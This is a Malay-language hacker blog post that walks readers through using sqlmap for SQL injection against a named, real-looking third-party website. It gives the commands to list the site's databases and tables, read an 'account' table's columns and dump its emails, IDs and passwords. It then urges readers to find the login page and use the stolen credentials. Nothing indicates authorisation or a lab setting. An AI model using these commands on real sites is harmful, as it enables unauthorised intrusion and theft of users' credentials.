Info Security: Cara Mengunakan SqlMaps

Salam Sejahtera Semua .. ok . hari ni seth nak terangkan cara guna SQLmap . 100% Credit goes to Prince Kira dari Silent Hacker Crew

Ok jom start

Sblom tue, barang2 yang perlu korang ade

3-CMD (same jea dgn command prompt)

4-vuln website

ok mule2 pgy ke local disk c. Buat satu folder dan namakannya sqlmap

Sekarang extract file sqlmap yang kite da download tady ke dalam folder sqlmap

Ok set.

Sekarang buka cmd

untuk kali nie saye akan menggunakan vuln website berupa nie http://www.mmbuildings.com/newsitem.php?id=61

Ok skarang di cmd buka dan type

ok skarang kalau mengikut website yang saye pilih tady akan kluar due option iaitu Y/N

ok type N

skarang sqlmap akn shutdown

Type nie pula

kalau anda ikut step by step anda sepatutnya akan dapat database

Database yang saye dapat berupa

*mm_mm

*information_schema <-------yang nie kite ta nak

Jadi kite akan pilih mm_mm <------comel la plak...hehe

Macamne kite na pilih??

Type nie c:\sqlmap\sqlmap.py -u http://www.mmbuildings.com/newsitem.php?id=61 -D mm_mm --tables

Tgu dy scan jap <-----boleh minum kopi ntuk mengelakkan rase bosan

Skarang kite akan nampak tables

Jadi skarang saye akan pilih tables account (ingat setiap website mempunyai tables yang berlainan)

Type dalam cmd

c:\sqlmap\sqlmap.py -u http://www.mmbuildings.com/newsitem.php?id=61 -D mm_mm -T account --columns

Yes. Sekarang dah nampak 3 columns iaitu email id login access dan password! :D

Jadi saye akan ambil ke 3 3 nye (WOOHOO)

Type nie plak

c:\sqlmap\sqlmap.py -u http://www.mmbuildings.com/newsitem.php?id=61 -D mm_mm -T account --dump

Wow! ade email n pass n id

Pastue nak buatpe?? Pk2 la sdry (cary la login page n Enjoy!)

Saye mgambil mase yang lame menulis tutor ini jadi kalau nak gne jgn lpe credit kpade saye !

Special Thank To My Partner Prince Kira SHC (silent hacker Crew)

By My Self . How to use SqlMap (video)

Jangan Jadi Orang Yang Ego . MiDle FinGer For YOu !

Info Security